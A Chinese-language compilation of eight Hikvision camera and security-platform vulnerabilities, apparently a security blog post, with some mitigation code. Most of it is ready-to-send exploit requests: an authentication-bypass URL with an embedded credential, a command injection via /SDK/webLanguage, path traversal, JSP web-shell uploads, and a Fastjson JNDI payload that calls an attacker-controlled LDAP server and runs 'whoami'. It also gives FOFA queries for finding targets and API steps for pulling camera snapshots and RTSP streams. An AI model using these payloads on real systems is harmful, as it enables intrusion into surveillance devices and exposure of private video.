【漏洞总结】海康威视八大漏洞汇总

排版：利刃信安https://mp.weixin.qq.com/s/E6flzm2_3UmK62P0BuMxEghttps://mp.weixin.qq.com/s/RIixdCh8fGszPmGS-9rxFwhttps://mp.weixin.qq.com/s/mX_7ubt-sNFN0Y-qE4wAGghttps://mp.weixin.qq.com/s/3fWICeosay5XTEEs9iHvmQhttps://mp.weixin.qq.com/s/CEGjTyhphr2GMuK9zpl5bghttps://mp.weixin.qq.com/s/Wveo0X3857mBWFzNOcJHJw

http://ip/Security/users?auth=YWRtaW46MTEKYWRtaW46MTEK

http://ip/onvif-http/snapshot?auth=YWRtaW46MTEK

http://ip/System/configurationFile?auth=YWRtaW46MTEK

python3 decrypt_configurationFile.py configurationFile

https://github.com/chrisjd20/hikvision_CVE-2017-7921_auth_bypass_config_decryptor

https://advisories.checkpoint.com/advisory/cpai-2017-0876/#

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20170314/

PUT /SDK/webLanguage HTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36Accept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Length: 89
<?xml version="1.0"encoding="UTF-8"?><language>$(ifconfig -a >webLib/dd.asp)</language>

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/20210919/

流媒体管理服务器 V2.3.5

web.title="流媒体管理服务器"

http://xxx.xxx.xxx.xxx/systemLog/downFile.php?fileName=../../../../../../../../../../../../../../../windows/system.ini

$file = fopen($file_dir . $file_name,"r"); // 打开文件

1.php.ini 配置 open_basedir（针对PHP应用程序）。2.用户输入配置白名单，对文件下载类型进行检查，判断是否为允许下载类型。3.过滤路径回溯符../，或者直接将..替换成空。对参数进行过滤，依次过滤“.”、“..”、“/”、“\”等字符。4.对于下载文件的目录做好限制，只能下载定目录下的文件，或者将要下载的资源文件路径存入数据库，附件下载时定数据库中的id即可，id即对应的资源。
参考代码：
import java.io.File;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.regex.Pattern;
public class FileReader {    // 正则表达式，用于过滤路径中的 ../ 字符串    private static final Pattern SAFE_PATH_PATTERN = Pattern.compile("[^/]+/\\.\\./");
    // 安全读取文件    public static byte[] readSafely(String path) throws IOException {        // 将路径中的 ../ 替换为空字符串        String safePath = SAFE_PATH_PATTERN.matcher(path).replaceAll("");
        // 使用安全路径读取文件        Path filePath = Paths.get(safePath);        return Files.readAllBytes(filePath);    }}
这段代码中使用了正则表达式来过滤路径中的 ../ 字符串，确保文件只能被读取到预期的位置。
使用方法：
try {    byte[] fileData = FileReader.readSafely("/path/to/file");} catch (IOException e) {    // 处理异常}

web.body="/views/home/file/installPackage.rar"

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPoUpgrade-Insecure-Requests: 1Content-Length: 174
------WebKitFormBoundaryGEJwiloiPoContent-Disposition: form-data; name="fileUploader";filename="1.jsp"Content-Type: image/jpeg
test------WebKitFormBoundaryGEJwiloiPo

POST /eps/api/resourceOperations/upload HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://you-ipConnection: closeCookie: ISMS_8700_Sessionname=7634604FBE659A8532E666FE4AA41BE9Upgrade-Insecure-Requests: 1Content-Length: 62
service=http%3A%2F%2Fx.x.x.x%3Ax%2Fhome%2Findex.action

POST /eps/api/resourceOperations/upload?token=构造的token值 HTTP/1.1Host: your-ipUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: ISMS_8700_Sessionname=A29E70BEA1FDA82E2CF0805C3A389988Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryGEJwiloiPoUpgrade-Insecure-Requests: 1Content-Length: 174
------WebKitFormBoundaryGEJwiloiPoContent-Disposition: form-data; name="fileUploader";filename="1.jsp"Content-Type: image/jpeg
test------WebKitFormBoundaryGEJwiloiPo

https://github.com/sccmdaveli/hikvision-poc

1.在服务器后端控制上传文件类型，处理时强制使用随机数改写文件名和文件路径,不要使用用户自定义的文件名和文件路径。2.在服务器后端建议使用白名单的方法对上传的文件进行过滤，上传的目录不进行解析，只提供下载权限。3.开源编辑器上传漏洞：若新版编辑器已修复漏洞，请更新编辑器版本。4.除了以上的方法之外，还可将被上传的文件限制在某一路径下，并在文件上传目录禁止脚本解析。
参考代码：
import java.io.File;import java.io.IOException;import java.security.SecureRandom;import javax.servlet.ServletException;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.Part;
public class FileUploadServlet extends HttpServlet {  private static final long serialVersionUID = 1L;
  private static final String ALLOWED_FILE_TYPES = "image/jpeg,image/png,image/gif";
  private static final SecureRandom random = new SecureRandom();
  protected void doPost(HttpServletRequest request, HttpServletResponse response)      throws ServletException, IOException {    // 获取上传的文件    Part filePart = request.getPart("file");
    // 检查文件类型是否被允许    String fileType = filePart.getContentType();    if (!ALLOWED_FILE_TYPES.contains(fileType)) {      response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid file type.");      return;    }
    // 使用随机数改写文件名和文件路径    String fileName = generateRandomFileName(filePart.getSubmittedFileName());    String filePath = request.getServletContext().getRealPath("/") + File.separator + "uploads" + File.separator + fileName;
    // 保存文件    filePart.write(filePath);
    // 返回响应    response.setStatus(HttpServletResponse.SC_OK);  }
  private static String generateRandomFileName(String fileName) {    int randomNumber = random.nextInt();    String[] fileNameParts = fileName.split("\\.");    String fileExtension = fileNameParts[fileNameParts.length - 1];    return randomNumber + "." + fileExtension;  }}
在上面的代码中，我们首先使用 getPart 方法获取上传的文件。然后检查文件类型是否在允许的文件类型列表中。如果不在，则发送错误响应。否则，我们使用随机数改写文件名和文件路径。最后，我们使用 write 方法将文件写入磁盘，并返回响应。

app="HIKVISION-综合安防管理平台"

POST /bic/ssoService/v1/applyCT HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: closeHost: 127.0.0.1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Dnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteSec-Fetch-User: ?1Te: trailersContent-Type: application/jsonContent-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://2vyvoa.dnslog.cn","autoCommit":true},"hfe4zyyzldp":"="}

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 你的公网服务器ip

POST /bic/ssoService/v1/applyCT HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0Accept-Encoding: gzip, deflateAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Connection: keep-aliveHost: 127.0.0.1Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Dnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: cross-siteSec-Fetch-User: ?1Te: trailersContent-Type: application/jsoncmd: whoamiContent-Length: 215
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://这里是的你公网服务器ip地址:1389/Basic/TomcatEcho","autoCommit":true},"hfe4zyyzldp":"="}

https://www.hikvision.com/cn/support/CybersecurityCenter/SecurityNotices/

https://open.hikvision.com/docs/docId?productId=5c67f1e2f05948198c909700&version=%2Ff95e951cefc54578b523d1738f65f0a1&curNodeId=16741aecc05944a6b0cd1341d68e4546

1./api/resource/v2/encodeDevice/search接口,获取权限的编码设备列表

2./api/resource/v1/cameras 获取cameraIndexCode

3./api/video/v1/manualCapture 带cameraIndexCode去获取摄像头的Picurl

{"cameraIndexCode":id号,  "pageNo": 1,  "pageSize": 1000}

利用/api/video/v2/cameras/previewURLs 接口 。获取获取rtsp协议摄像